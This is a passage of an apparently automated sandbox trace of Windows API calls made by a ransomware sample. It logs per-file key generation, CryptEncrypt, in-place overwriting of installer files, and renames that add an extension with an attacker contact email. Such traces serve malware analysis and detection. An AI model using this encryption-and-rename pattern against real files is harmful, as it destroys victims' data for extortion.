hHeap=0x520000, dwFlags=0x0, lpMem=0x312a020 | out: hHeap=0x520000) returned 1 [0079.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3257020 | out: hHeap=0x520000) returned 1 [0079.128] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11c000 [0079.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0079.128] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0079.130] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0079.130] WriteFile (in: hFile=0x454, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0079.130] CloseHandle (hObject=0x454) returned 1 [0079.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0079.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0079.166] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0079.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0079.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0079.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0079.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0079.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0079.168] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0079.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0079.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0079.168] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi", dwFileAttributes=0x80) returned 1 [0079.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0079.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0079.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0079.169] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0079.169] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1901056) returned 1 [0079.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d0200) returned 0x3120020 [0079.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1d0200) returned 0x330e020 [0079.181] ReadFile (in: hFile=0x454, lpBuffer=0x3120020, nNumberOfBytesToRead=0x1d0200, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d0200, lpOverlapped=0x0) returned 1 [0079.301] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1901056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.301] WriteFile (in: hFile=0x454, lpBuffer=0x330e020*, nNumberOfBytesToWrite=0x1d0200, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x330e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d0200, lpOverlapped=0x0) returned 1 [0079.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3120020 | out: hHeap=0x520000) returned 1 [0079.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x330e020 | out: hHeap=0x520000) returned 1 [0079.340] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d0200 [0079.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0079.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0079.341] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0079.341] WriteFile (in: hFile=0x454, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0079.341] CloseHandle (hObject=0x454) returned 1 [0079.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0079.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0079.388] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0079.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0079.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0079.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0079.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0079.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0079.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0079.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0079.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d090 | out: pbBuffer=0x54d090) returned 1 [0079.392] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core.mzz", dwFileAttributes=0x80) returned 1 [0079.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0079.393] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0079.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0079.393] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0079.393] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=181483595) returned 1 [0079.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c4e6) returned 0x312e020 [0079.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c4e6) returned 0x3283020 [0079.408] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.533] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.533] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.560] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.602] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14c4e6 [0079.602] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.610] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.641] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2989cc [0079.642] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.721] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.777] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e4eb2 [0079.777] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.800] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.816] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x531398 [0079.817] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.836] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.859] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x67d87e [0079.859] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.880] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.910] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7c9d64 [0079.910] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.929] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.946] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91624a [0079.946] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0079.969] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.004] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa62730 [0080.004] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.007] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.035] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbaec16 [0080.035] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.065] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.091] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcfb0fc [0080.091] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.107] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.122] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe475e2 [0080.123] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.185] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.210] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf93ac8 [0080.210] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.218] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.319] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10dffae [0080.319] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.338] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.353] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x122c494 [0080.353] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.369] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.385] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x137897a [0080.385] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.391] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.422] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14c4e60 [0080.422] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.441] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.463] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1611346 [0080.463] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.481] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.517] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x175d82c [0080.517] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.524] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.571] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18a9d12 [0080.571] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.575] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.608] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19f61f8 [0080.608] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.646] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.730] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b426de [0080.731] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.736] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.763] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8ebc4 [0080.763] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.769] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.818] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ddb0aa [0080.818] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.839] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, 